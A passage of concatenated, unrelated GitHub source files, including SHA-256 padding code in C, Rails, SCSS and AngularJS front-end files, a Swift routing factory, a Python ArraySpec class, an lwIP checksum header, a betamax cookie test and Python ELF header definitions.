W[i] = ntohl(*((uint32_t*)(blk + 4*i)));
for(i = 16; i < 64; i++)
W[i] = ssig1(W[i-2]) + W[i-7] + ssig0(W[i-15]) + W[i-16];
}
/* Size and padding matches that of SHA-1; see comments there. */
static void sha256_put_size(char blk[64], uint64_t total)
{
uint32_t* hw = (uint32_t*)(blk + 64 - 8);
uint32_t* lw = (uint32_t*)(blk + 64 - 4);
uint64_t bits = total << 3;
*hw = htonl(bits >> 32);
*lw = htonl(bits & 0xFFFFFFFF);
}
static void sha256_load_pad1(struct sha256* sh, char* ptr, int tail, uint64_t total)
{
char block[64];
memcpy(block, ptr, tail);
memset(block + tail, 0, 64 - tail);
block[tail] = 0x80;
sha256_put_size(block, total);
sha256_load(sh, block);
}
static void sha256_load_pad2(struct sha256* sh, char* ptr, int tail)
{
char block[64];
memcpy(block, ptr, tail);
memset(block + tail, 0, 64 - tail);
block[tail] = 0x80;
sha256_load(sh, block);
}
static void sha256_load_pad0(struct sha256* sh, uint64_t total)
{
char block[64];
memset(block, 0, 64);
sha256_put_size(block, total);
sha256_load(sh, block);
}
void sha256_proc(struct sha256* sh, char blk[64])
{
sha256_load(sh, blk);
sha256_hash(sh);
}
void sha256_last(struct sha256* sh, char* ptr, int len, uint64_t total)
{
int tail = len % 64;
if(tail > 55) {
sha256_load_pad2(sh, ptr, tail);
sha256_hash(sh);
sha256_load_pad0(sh, total);
sha256_hash(sh);
} else {
sha256_load_pad1(sh, ptr, tail, total);
sha256_hash(sh);
}
}
| {
"pile_set_name": "Github"
} |
name: UnicodeScripts_6_1
description:
Tests character class syntax of the Unicode 6.1 Script property.
jflex: -q
input-file-encoding: UTF-8
common-input-file: ../../resources/All.Unicode.characters.input
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DddSampleAppRuby</title>
<%= stylesheet_link_tag "application", :media => "all" %>
<%= javascript_include_tag "application" %>
<%= csrf_meta_tags %>
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="container">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<a class="brand" href="#">Ruby DDD Sample App</a>
<div class="nav-collapse">
<ul class="nav">
<li><%= link_to "Bookings", bookings_path %></li>
<li><%= link_to "Tracking Cargos", tracking_cargos_path %></li>
<li><%= link_to "Handling Events", handling_events_path %></li>
</ul>
</div>
</div>
</div>
</div>
<div class="container-fluid">
<%= flash_messages %>
<div class="row-fluid">
<div class="span8"><%= yield %></div>
<div class="span4">
<h2 class="page-header">About</h2>
This DDD Sample App is a Ruby version of the .NET / Java Sample App.
</div>
</div>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
.vzb-tool-treemenu {
@include position(absolute, 0 0 null null);
z-index: 9998;
width: 100%;
height: 100%;
.vzb-treemenu-background {
background-color: $vzb-color-grey-lightest;
opacity: 0.4;
width: 100%;
height: 100%;
}
.vzb-treemenu-wrap-outer {
@include box-shadow(0, 8px, 15px, rgba(0, 0, 0, 0.24));
position: absolute;
background-color: #fff;
border-top: 1px solid #f7f7f7;
padding: 0;
&.vzb-treemenu-abs-pos-vert {
margin-top: 0;
margin-bottom: 0;
}
&.vzb-treemenu-abs-pos-horiz {
margin-right: 0;
margin-left: 0;
}
.vzb-treemenu-wrap {
transition: 300ms ease-in-out;
padding: 0 25px 10px;
overflow-y: auto;
* {
box-sizing: border-box;
}
&.notransition {
transition: none;
}
.vzb-treemenu-close {
@include rtl {
float: left;
left: -15px;
right: auto;
}
position: relative;
float: right;
top: 10px;
right: -15px;
.vzb-treemenu-close-icon {
fill: $vzb-color-primary;
fill-opacity: 0.7;
width: 25px;
height: 25px;
cursor: pointer;
&:hover {
fill-opacity: 1;
}
}
}
.vzb-treemenu-title {
@include rtl {
padding-left: 25px;
padding-right: 10px;
}
display: inline-block;
color: $vzb-color-primary;
font-size: $vzb-font-size-medium;
padding: 25px 25px 10px 5px;
}
.vzb-treemenu-scaletypes {
@include rtl {
left: -10px;
right: auto;
float: left;
}
position: relative;
right: -10px;
top: 30px;
font-size: $vzb-font-size-small;
font-family: $vzb-font-family-alt;
float: right;
span {
padding: 2px 5px;
border: 1px solid $vzb-color-primary-light;
color: $vzb-color-primary-darkest;
margin-left: -1px;
cursor: pointer;
&:hover {
background-color: $vzb-color-grey-light;
color: $vzb-color-primary-strong;
}
&:first-child {
@include rtl {
border-radius: 0 4px 4px 0;
}
border-radius: 4px 0 0 4px;
}
&:last-child {
@include rtl {
border-radius: 4px 0 0 4px;
}
border-radius: 0 4px 4px 0;
}
}
.vzb-treemenu-scaletypes-active {
background-color: $vzb-color-grey-light;
color: $vzb-color-primary-strong;
pointer-events: none;
}
.vzb-treemenu-scaletypes-disabled {
visibility: hidden;
color: $vzb-color-grey-light;
border: 0;
pointer-events: none;
}
}
.vzb-treemenu-search-wrap {
padding: 5px;
}
.vzb-treemenu-search {
@include border-radius(4px);
@include box-sizing(border-box);
width: 100%;
display: block;
border: 1px solid rgba($vzb-color-grey, 0.4);
padding: 9px;
outline: none;
font-size: $vzb-font-size-small;
font-family: $vzb-font-family-alt;
&:focus {
border: 1px solid rgba($vzb-color-grey, 0.6);
}
+ .vzb-treemenu-list {
position: relative;
margin-top: 10px;
left: 0;
}
}
.vzb-treemenu-list,
.vzb-treemenu-list-top {
list-style: none;
padding: 0;
margin: 0;
left: 100%;
&.vzb-treemenu-horizontal .vzb-treemenu-list,
&.vzb-treemenu-horizontal {
> .vzb-treemenu-list-item {
height: 38px;
padding: 0;
.vzb-treemenu-list-item-label {
@include rtl {
span {
margin-right: 5px;
}
}
line-height: 17px;
padding: 10px 0;
}
}
> .vzb-treemenu-list-item-children {
&::after {
@include rtl {
left: 0;
}
content: '';
display: block;
position: relative;
left: calc(100% - 17px);
top: -42px;
width: 0;
height: 0;
border: 6px solid transparent;
border-left: 6px solid $vzb-color-grey-dark;
pointer-events: none;
z-index: 1;
}
.vzb-treemenu-list-item-label[children="true"] {
@include rtl {
padding-left: 0;
padding-right: 12px;
span {
margin-right: 25px;
}
}
padding-left: 20px;
&::after {
@include rtl {
left: 0;
}
display: block;
position: relative;
left: -20px;
top: -17px;
width: 25px;
height: 17px;
pointer-events: none;
z-index: 1;
text-align: center;
}
}
.vzb-treemenu-list-item-label[type="folder"] {
&::after {
content: "📁";
}
}
.vzb-treemenu-list-item-label[type="dataset"] {
&::after {
content: "📚";
}
}
&:hover {
&::after {
background-color: $vzb-color-grey-light;
outline: 5px solid $vzb-color-grey-light;
}
> .vzb-treemenu-list-item-label[children="true"]::after {
background-color: $vzb-color-grey-light;
}
}
}
}
&.vzb-treemenu-vertical .vzb-treemenu-list,
&.vzb-treemenu-vertical {
> .vzb-treemenu-list-item {
.vzb-treemenu-list-item-label {
@include rtl {
span {
margin-left: 25px;
margin-right: 5px;
}
}
line-height: 16px;
padding: 10px 0;
}
}
> .vzb-treemenu-list-item-children {
position: relative;
&::before {
@include rtl {
left: 5px;
right: auto;
border-left-color: transparent;
border-right-color: $vzb-color-grey-dark;
}
content: '';
display: block;
position: absolute;
right: 5px;
width: 0;
height: 0;
border: 6px solid transparent;
border-left: 6px solid $vzb-color-grey-dark;
margin-top: 12px;
pointer-events: none;
z-index: 1;
}
.vzb-treemenu-list-item-label[children="true"] {
@include rtl {
padding-left: 0;
padding-right: 20px;
}
padding-left: 20px;
&::before {
@include rtl {
right: 0;
}
display: block;
position: absolute;
left: 0;
width: 25px;
pointer-events: none;
z-index: 1;
text-align: center;
}
}
.vzb-treemenu-list-item-label[type="folder"] {
&::before {
content: "📁";
}
}
.vzb-treemenu-list-item-label[type="dataset"] {
&::before {
content: "📚";
}
}
&.marquee:hover {
&::before {
background-color: $vzb-color-grey-light;
outline: 5px solid $vzb-color-grey-light;
}
.vzb-treemenu-list-item-label[children="true"]::before {
background-color: $vzb-color-grey-light;
}
}
}
}
}
.vzb-treemenu-list-outer {
position: absolute;
background-color: #fff;
.vzb-treemenu-list {
display: none;
}
&.vzb-treemenu-horizontal {
@include box-shadow(4px, 8px, 15px, rgba(0, 0, 0, 0.2));
width: 0;
top: 0;
bottom: 0;
left: 100%;
z-index: 2;
.vzb-treemenu-list {
overflow-y: auto;
max-height: 100%;
.vzb-treemenu-list-item:not(.vzb-treemenu-list-item-children) {
.vzb-treemenu-list-item-label span {
margin-right: 5px;
}
}
}
&.active {
top: -1px;
bottom: 0;
clear: both;
border-left: 1px solid $vzb-color-grey-light;
border-top: 1px solid #f7f7f7;
>.vzb-treemenu-list {
display: block;
}
}
&.vzb-treemenu-list-item-leaf {
background-color: $vzb-color-primary-lightest;
overflow: hidden;
cursor: pointer;
.vzb-treemenu-leaf-content {
overflow-y: auto;
max-height: calc(100% - 60px);
.vzb-treemenu-leaf-content-item {
padding: 10px 15px 0;
display: block;
overflow: hidden;
white-space: normal;
text-overflow: ellipsis;
position: relative;
color: $vzb-color-grey-dark;
font-size: $vzb-font-size-small;
font-family: $vzb-font-family-alt;
&.vzb-treemenu-leaf-content-item-title {
font-size: $vzb-font-size-regular;
font-weight: bold;
}
&.vzb-treemenu-leaf-content-item-helptranslate {
display: block;
position: absolute;
bottom: 15px;
a {
color: $vzb-color-grey-light;
&:hover {
color: $vzb-color-primary-light;
}
}
}
}
}
}
}
&.vzb-treemenu-vertical {
@include rtl {
padding-left: 0;
padding-right: 15px;
}
position: relative;
border: 0;
background-color: #fff;
left: 0;
padding-left: 15px;
height: 0;
&.active {
height: auto;
top: inherit;
bottom: inherit;
>.vzb-treemenu-list {
display: block;
}
}
&.vzb-treemenu-list-item-leaf {
height: 0;
}
}
}
.vzb-treemenu-list-item {
padding: 5px 0;
background-color: $vzb-color-white;
overflow: hidden;
white-space: nowrap;
> .vzb-treemenu-list-item-label {
left: 0;
}
&:hover {
background-color: $vzb-color-grey-light;
> .vzb-treemenu-list-item-label {
span {
text-overflow: clip;
}
}
}
&.item-active:not(.vzb-treemenu-list-item-children) {
> span {
color: $vzb-color-accent-orange;
}
}
&.item-active {
> span {
font-weight: bold;
}
}
&.marquee:not(:hover) {
> .vzb-treemenu-list-item-label span {
width: auto !important;
//text-overflow: ellipsis;
}
}
&.marquee:hover {
> .vzb-treemenu-list-item-label {
span {
@include rtl {
transform: translate3d(100%, 0, 0);
}
transform: translate3d(-100%, 0, 0);
text-overflow: inherit;
overflow: visible;
animation: marquee 5s linear infinite;
&::after {
@include rtl {
padding-left: 0;
padding-right: 30px; //must be equal owner 'space' in marqueeToogle;
}
content: attr(data-content);
padding-left: 30px; //must be equal owner 'space' in marqueeToogle;
}
}
}
}
+ .vzb-treemenu-list-item-special {
margin-top: 15px;
}
}
.vzb-treemenu-list-item-label {
padding: 5px 0;
margin: 0;
display: block;
cursor: pointer;
color: $vzb-color-grey-dark;
font-size: $vzb-font-size-small;
font-family: $vzb-font-family-alt;
span {
@include rtl {
padding-right: 0;
padding-left: 1px;
}
padding-right: 1px;
display: block;
position: relative;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
margin: 0 25px 0 5px;
}
}
}
&.vzb-treemenu-open-left-side {
.vzb-treemenu-horizontal {
&.vzb-treemenu-list-outer {
&.active {
left: auto;
right: 100%;
}
}
&.vzb-treemenu-list-top,
.vzb-treemenu-list-outer .vzb-treemenu-list {
> .vzb-treemenu-list-item {
> .vzb-treemenu-list-item-label span {
margin-right: 5px;
}
}
> .vzb-treemenu-list-item-children {
&::after {
@include rtl {
right: calc(100% - 14px);
}
left: 2px;
border: 6px solid transparent;
border-right: 6px solid $vzb-color-grey-dark;
}
.vzb-treemenu-list-item-label[children="true"] {
@include rtl {
padding-left: 16px;
padding-right: 0;
}
padding-left: 34px;
}
}
}
}
}
}
}
//marquee animation
@keyframes marquee {
from {
transform: none;
}
}
&.vzb-small {
.vzb-treemenu-wrap-outer {
@include position(absolute, 10% null null 10%);
width: 80%;
height: 80%;
.vzb-treemenu-wrap {
max-height: 100%;
.vzb-treemenu-list-item {
padding: 0;
}
}
&.vzb-align-x-center {
left: 50%;
}
.active {
display: block;
}
}
}
&.vzb-medium {
.vzb-treemenu-wrap-outer {
&.vzb-align-y-top {
top: 40px;
}
&.vzb-align-y-bottom {
bottom: 5px + $size-timeslider;
}
&.vzb-align-x-left {
left: 60px;
}
&.vzb-align-x-right {
right: 60px;
}
&.vzb-align-x-center {
left: 50%;
}
}
}
&.vzb-large,
&.vzb-presentation {
.vzb-treemenu-wrap-outer {
&.vzb-align-y-top {
top: 50px;
}
&.vzb-align-y-bottom {
bottom: 30px + $size-timeslider;
}
&.vzb-align-x-left {
left: 60px;
}
&.vzb-align-x-right {
right: 60px;
}
&.vzb-align-x-center {
left: 50%;
}
}
}
| {
"pile_set_name": "Github"
} |
//
// RouteComposer
// FactoryBox.swift
// https://github.com/ekazaev/route-composer
//
// Created by Eugene Kazaev in 2018-2020.
// Distributed under the MIT license.
//
#if os(iOS)
import Foundation
import UIKit
struct FactoryBox<F: Factory>: PreparableAnyFactory, AnyFactoryBox, MainThreadChecking, CustomStringConvertible {
typealias FactoryType = F
var factory: F
let action: AnyAction
var isPrepared = false
init?(_ factory: F, action: AnyAction) {
guard !(factory is NilEntity) else {
return nil
}
self.factory = factory
self.action = action
}
func build<Context>(with context: Context) throws -> UIViewController {
guard let typedContext = Any?.some(context as Any) as? FactoryType.Context else {
throw RoutingError.typeMismatch(type: type(of: context),
expectedType: FactoryType.Context.self,
.init("\(String(describing: factory.self)) does not accept \(String(describing: context.self)) as a context."))
}
assertIfNotMainThread()
assertIfNotPrepared()
return try factory.build(with: typedContext)
}
}
#endif
| {
"pile_set_name": "Github"
} |
# Copyright 2018 The AI Safety Gridworlds Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""A class to describe the shape and dtype of numpy arrays."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# Dependency imports
import numpy as np
class ArraySpec(object):
"""Describes a numpy array or scalar shape and dtype.
An `ArraySpec` allows an API to describe the arrays that it accepts or
returns, before that array exists.
"""
__slots__ = ('_shape', '_dtype', '_name')
def __init__(self, shape, dtype, name=None):
"""Initializes a new `ArraySpec`.
Args:
shape: An iterable specifying the array shape.
dtype: numpy dtype or string specifying the array dtype.
name: Optional string containing a semantic name for the corresponding
array. Defaults to `None`.
Raises:
TypeError: If the shape is not an iterable or if the `dtype` is an invalid
numpy dtype.
"""
self._shape = tuple(shape)
self._dtype = np.dtype(dtype)
self._name = name
@property
def shape(self):
"""Returns a `tuple` specifying the array shape."""
return self._shape
@property
def dtype(self):
"""Returns a numpy dtype specifying the array dtype."""
return self._dtype
@property
def name(self):
"""Returns the name of the ArraySpec."""
return self._name
def __repr__(self):
return 'ArraySpec(shape={}, dtype={}, name={})'.format(self.shape,
repr(self.dtype),
repr(self.name))
def __eq__(self, other):
"""Checks if the shape and dtype of two specs are equal."""
if not isinstance(other, ArraySpec):
return False
return self.shape == other.shape and self.dtype == other.dtype
def __ne__(self, other):
return not self == other
def _fail_validation(self, message, *args):
message %= args
if self.name:
message += ' for spec %s' % self.name
raise ValueError(message)
def validate(self, value):
"""Checks if value conforms to this spec.
Args:
value: a numpy array or value convertible to one via `np.asarray`.
Returns:
value, converted if necessary to a numpy array.
Raises:
ValueError: if value doesn't conform to this spec.
"""
value = np.asarray(value)
if value.shape != self.shape:
self._fail_validation(
'Expected shape %r but found %r', self.shape, value.shape)
if value.dtype != self.dtype:
self._fail_validation(
'Expected dtype %s but found %s', self.dtype, value.dtype)
def generate_value(self):
"""Generate a test value which conforms to this spec."""
return np.zeros(shape=self.shape, dtype=self.dtype)
class BoundedArraySpec(ArraySpec):
"""An `ArraySpec` that specifies minimum and maximum values.
Example usage:
```python
# Specifying the same minimum and maximum for every element.
spec = BoundedArraySpec((3, 4), np.float64, minimum=0.0, maximum=1.0)
# Specifying a different minimum and maximum for each element.
spec = BoundedArraySpec(
(2,), np.float64, minimum=[0.1, 0.2], maximum=[0.9, 0.9])
# Specifying the same minimum and a different maximum for each element.
spec = BoundedArraySpec(
(3,), np.float64, minimum=-10.0, maximum=[4.0, 5.0, 3.0])
```
Bounds are meant to be inclusive. This is especially important for
integer types. The following spec will be satisfied by arrays
with values in the set {0, 1, 2}:
```python
spec = BoundedArraySpec((3, 4), np.int, minimum=0, maximum=2)
```
"""
__slots__ = ('_minimum', '_maximum')
def __init__(self, shape, dtype, minimum, maximum, name=None):
"""Initializes a new `BoundedArraySpec`.
Args:
shape: An iterable specifying the array shape.
dtype: numpy dtype or string specifying the array dtype.
minimum: Number or sequence specifying the maximum element bounds
(inclusive). Must be broadcastable to `shape`.
maximum: Number or sequence specifying the maximum element bounds
(inclusive). Must be broadcastable to `shape`.
name: Optional string containing a semantic name for the corresponding
array. Defaults to `None`.
Raises:
ValueError: If `minimum` or `maximum` are not broadcastable to `shape`.
TypeError: If the shape is not an iterable or if the `dtype` is an invalid
numpy dtype.
"""
super(BoundedArraySpec, self).__init__(shape, dtype, name)
try:
np.broadcast_to(minimum, shape=shape)
except ValueError as numpy_exception:
raise ValueError('minimum is not compatible with shape. '
'Message: {!r}.'.format(numpy_exception))
try:
np.broadcast_to(maximum, shape=shape)
except ValueError as numpy_exception:
raise ValueError('maximum is not compatible with shape. '
'Message: {!r}.'.format(numpy_exception))
self._minimum = np.array(minimum)
self._minimum.setflags(write=False)
self._maximum = np.array(maximum)
self._maximum.setflags(write=False)
@property
def minimum(self):
"""Returns a NumPy array specifying the minimum bounds (inclusive)."""
return self._minimum
@property
def maximum(self):
"""Returns a NumPy array specifying the maximum bounds (inclusive)."""
return self._maximum
def __repr__(self):
template = ('BoundedArraySpec(shape={}, dtype={}, name={}, '
'minimum={}, maximum={})')
return template.format(self.shape, repr(self.dtype), repr(self.name),
self._minimum, self._maximum)
def __eq__(self, other):
if not isinstance(other, BoundedArraySpec):
return False
return (super(BoundedArraySpec, self).__eq__(other) and
(self.minimum == other.minimum).all() and
(self.maximum == other.maximum).all())
def validate(self, value):
value = np.asarray(value)
super(BoundedArraySpec, self).validate(value)
if (value < self.minimum).any() or (value > self.maximum).any():
self._fail_validation(
'Values were not all within bounds %s <= value <= %s',
self.minimum, self.maximum)
def generate_value(self):
return (np.ones(shape=self.shape, dtype=self.dtype) *
self.dtype.type(self.minimum))
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2001-2004 Swedish Institute of Computer Science.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
* OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*
* This file is part of the lwIP TCP/IP stack.
*
* Author: Adam Dunkels <[email protected]>
*
*/
#ifndef __LWIP_INET_CHKSUM_H__
#define __LWIP_INET_CHKSUM_H__
#include "lwip/opt.h"
#include "lwip/pbuf.h"
#include "lwip/ip_addr.h"
/** Swap the bytes in an u16_t: much like htons() for little-endian */
#ifndef SWAP_BYTES_IN_WORD
#if LWIP_PLATFORM_BYTESWAP && (BYTE_ORDER == LITTLE_ENDIAN)
/* little endian and PLATFORM_BYTESWAP defined */
#define SWAP_BYTES_IN_WORD(w) LWIP_PLATFORM_HTONS(w)
#else /* LWIP_PLATFORM_BYTESWAP && (BYTE_ORDER == LITTLE_ENDIAN) */
/* can't use htons on big endian (or PLATFORM_BYTESWAP not defined)... */
#define SWAP_BYTES_IN_WORD(w) (((w) & 0xff) << 8) | (((w) & 0xff00) >> 8)
#endif /* LWIP_PLATFORM_BYTESWAP && (BYTE_ORDER == LITTLE_ENDIAN)*/
#endif /* SWAP_BYTES_IN_WORD */
/** Split an u32_t in two u16_ts and add them up */
#ifndef FOLD_U32T
#define FOLD_U32T(u) (((u) >> 16) + ((u) & 0x0000ffffUL))
#endif
#if LWIP_CHECKSUM_ON_COPY
/** Function-like macro: same as MEMCPY but returns the checksum of copied data
as u16_t */
#ifndef LWIP_CHKSUM_COPY
#define LWIP_CHKSUM_COPY(dst, src, len) lwip_chksum_copy(dst, src, len)
#ifndef LWIP_CHKSUM_COPY_ALGORITHM
#define LWIP_CHKSUM_COPY_ALGORITHM 1
#endif /* LWIP_CHKSUM_COPY_ALGORITHM */
#endif /* LWIP_CHKSUM_COPY */
#else /* LWIP_CHECKSUM_ON_COPY */
#define LWIP_CHKSUM_COPY_ALGORITHM 0
#endif /* LWIP_CHECKSUM_ON_COPY */
#ifdef __cplusplus
extern "C" {
#endif
u16_t inet_chksum(void *dataptr, u16_t len);
u16_t inet_chksum_pbuf(struct pbuf *p);
u16_t inet_chksum_pseudo(struct pbuf *p,
ip_addr_t *src, ip_addr_t *dest,
u8_t proto, u16_t proto_len);
u16_t inet_chksum_pseudo_partial(struct pbuf *p,
ip_addr_t *src, ip_addr_t *dest,
u8_t proto, u16_t proto_len, u16_t chksum_len);
#if LWIP_CHKSUM_COPY_ALGORITHM
u16_t lwip_chksum_copy(void *dst, const void *src, u16_t len);
#endif /* LWIP_CHKSUM_COPY_ALGORITHM */
#ifdef __cplusplus
}
#endif
#endif /* __LWIP_INET_H__ */
| {
"pile_set_name": "Github"
} |
import betamax
from .helper import IntegrationHelper
class TestMultipleCookies(IntegrationHelper):
"""Previously our handling of multiple instances of cookies was wrong.
This set of tests is here to ensure that we properly serialize/deserialize
the case where the client receives and betamax serializes multiple
Set-Cookie headers.
See the following for more information:
- https://github.com/sigmavirus24/betamax/pull/60
- https://github.com/sigmavirus24/betamax/pull/59
- https://github.com/sigmavirus24/betamax/issues/58
"""
def setUp(self):
super(TestMultipleCookies, self).setUp()
self.cassette_created = False
def test_multiple_cookies(self):
"""Make a request to httpbin.org and verify we serialize it correctly.
We should be able to see that the cookiejar on the session has the
cookies properly parsed and distinguished.
"""
recorder = betamax.Betamax(self.session)
cassette_name = 'test-multiple-cookies-regression'
url = 'https://httpbin.org/cookies/set'
cookies = {
'cookie0': 'value0',
'cookie1': 'value1',
'cookie2': 'value2',
'cookie3': 'value3',
}
with recorder.use_cassette(cassette_name):
self.session.get(url, params=cookies)
for name, value in cookies.items():
assert self.session.cookies[name] == value
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML>
<html ng-app="myApp">
<head>
<title>AngularJS Dynamic Template</title>
<script type="text/javascript" src="vendor/jquery.min.js"></script>
<script type="text/javascript" src="vendor/angular.min.js"></script>
<script type="text/javascript" src="js/app.js"></script>
<link rel="stylesheet" href="css/layout.css">
</head>
<body>
<div id="container" ng-controller="ContentCtrl as ctrl">
<content-item ng-repeat="item in ctrl.content" content="item"></content-item>
</div>
</body>
</html> | {
"pile_set_name": "Github"
} |
""" Collection of data structures to handle elf files """
import enum
from .. import header
from ...arch.arch_info import Endianness
class OsAbi(enum.IntEnum):
SYSTEMV = 0
HPUX = 1
NETBSD = 2
LINUX = 3
GNUHURD = 4
SOLARIS = 6
AIX = 7
IRIX = 8
FREEBSD = 0x9
TRU64 = 0xA
NOVELL_MODESTO = 0xB
OPENBSD = 0xC
OPENVMS = 0xD
NONSTOP_KERNEL = 0xE
AROS = 0xF
FENIX_OS = 0x10
CLOUDABI = 0x11
@classmethod
def has_value(cls, value):
return any(value == i.value for i in cls)
def get_os_name(value):
""" Given an integer value, try to get some name for an OS. """
if OsAbi.has_value(value):
name = OsAbi(value).name
else:
name = "Unknown: {}".format(value)
return name
class SectionHeaderType(enum.IntEnum):
NULL = 0x0
PROGBITS = 0x1
SYMTAB = 0x2
STRTAB = 0x3
RELA = 0x4
HASH = 0x5
DYNAMIC = 0x6
NOTE = 0x7
NOBITS = 0x8
REL = 0x9
SHLIB = 0xA
DYNSYM = 0xB
INIT_ARRAY = 0xE
FINI_ARRAY = 0xF
PREINIT_ARRAY = 0x10
GROUP = 0x11
SYMTAB_SHNDX = 0x12
NUM = 0x13
LOOS = 0x60000000
class SectionHeaderFlag(enum.IntEnum):
WRITE = 0x1
ALLOC = 0x2
EXECINSTR = 0x4
MERGE = 0x10
STRINGS = 0x20
INFO_LINK = 0x40
LINK_ORDER = 0x80
OS_NONCONFORMING = 0x100
GROUP = 0x200
TLS = 0x400
class ElfMachine(enum.IntEnum):
NONE = 0
M32 = 1
SPARC = 0x2
X86 = 0x3
_68K = 4
_88K = 5
IAMCU = 6
_860 = 7
MIPS = 0x8
S370 = 0x9
MIPS_RS3_LE = 10
POWERPC = 0x14 # 20
PPC64 = 21
S390 = 0x16 # 22
SPU = 23
ARM = 0x28
SUPERH = 0x2A
H8S = 48
X86_64 = 0x3E # 62
AVR = 83
FR30 = 84
D10V = 85
D30V = 86
V850 = 87
M32R = 88
MN10300 = 89
MN10200 = 90
PJ = 91
OPENRISC = 92
ARC_COMPACT = 93
XTENSA = 0x5E # 94
VIDEOCORE = 0x5F # 95
TMM_GPP = 96
AARCH64 = 0xB7 # 183
STM8 = 186
TILE64 = 187
TILEPRO = 188
MICROBLAZE = 189
CUDA = 190
TILEGX = 191
CLOUDSHIELD = 192
RISCV = 0xF3 # 243
@classmethod
def has_value(cls, value):
return any(value == i.value for i in cls)
def get_machine_name(value):
""" Given an integer value, try to get some name for a machine. """
if ElfMachine.has_value(value):
name = ElfMachine(value).name
else:
name = "Unknown: {}".format(value)
return name
class ProgramHeaderType(enum.IntEnum):
NULL = 0
LOAD = 1
DYNAMIC = 2
INTERP = 3
NOTE = 4
SHLIB = 5
PHDR = 6
TLS = 7
LOOS = 0x60000000
LOPROC = 0x70000000
HIPROC = 0x7FFFFFFF
class SymbolTableBinding(enum.IntEnum):
LOCAL = 0
GLOBAL = 1
WEAK = 2
LOOS = 10
HIOS = 12
LOPROC = 13
HIPROC = 15
def get_symbol_table_binding_name(value):
if value in range(SymbolTableBinding.LOOS, SymbolTableBinding.HIOS + 1):
name = "OS: {}".format(value)
elif value in range(
SymbolTableBinding.LOPROC, SymbolTableBinding.HIPROC + 1
):
name = "PROC: {}".format(value)
else:
name = SymbolTableBinding(value).name
return name
class SymbolTableType(enum.IntEnum):
NOTYPE = 0
OBJECT = 1
FUNC = 2
SECTION = 3
FILE = 4
COMMON = 5
TLS = 6
LOOS = 10
HIOS = 12
LOPROC = 13
HIPROC = 15
def get_symbol_table_type_name(value):
if value in range(SymbolTableType.LOOS, SymbolTableType.HIOS + 1):
name = "OS: {}".format(value)
elif value in range(SymbolTableType.LOPROC, SymbolTableType.HIPROC + 1):
name = "PROC: {}".format(value)
else:
name = SymbolTableType(value).name
return name
class HeaderTypes:
""" ELF header types for a given bitsize and endianity """
def __init__(self, bits=64, endianness=Endianness.LITTLE):
self.bits = bits
self.endianness = endianness
if bits == 64:
self.ElfHeader = header.mk_header(
"ElfHeader",
[
header.Uint16("e_type"),
header.Uint16("e_machine"),
header.Uint32("e_version"),
header.Uint64("e_entry"),
header.Uint64("e_phoff"),
header.Uint64("e_shoff"),
header.Uint32("e_flags"),
header.Uint16("e_ehsize"),
header.Uint16("e_phentsize"),
header.Uint16("e_phnum"),
header.Uint16("e_shentsize"),
header.Uint16("e_shnum"),
header.Uint16("e_shstrndx"),
],
)
assert self.ElfHeader.size + 16 == 64
else:
self.ElfHeader = header.mk_header(
"ElfHeader",
[
header.Uint16("e_type"),
header.Uint16("e_machine"),
header.Uint32("e_version"),
header.Uint32("e_entry"),
header.Uint32("e_phoff"),
header.Uint32("e_shoff"),
header.Uint32("e_flags"),
header.Uint16("e_ehsize"),
header.Uint16("e_phentsize"),
header.Uint16("e_phnum"),
header.Uint16("e_shentsize"),
header.Uint16("e_shnum"),
header.Uint16("e_shstrndx"),
],
)
assert self.ElfHeader.size + 16 == 0x34
if bits == 32:
self.SectionHeader = header.mk_header(
"SectionHeader",
[
header.Uint32("sh_name"),
header.Uint32("sh_type"),
header.Uint32("sh_flags"),
header.Uint32("sh_addr"),
header.Uint32("sh_offset"),
header.Uint32("sh_size"),
header.Uint32("sh_link"),
header.Uint32("sh_info"),
header.Uint32("sh_addralign"),
header.Uint32("sh_entsize"),
],
)
assert self.SectionHeader.size == 0x28
else:
self.SectionHeader = header.mk_header(
"SectionHeader",
[
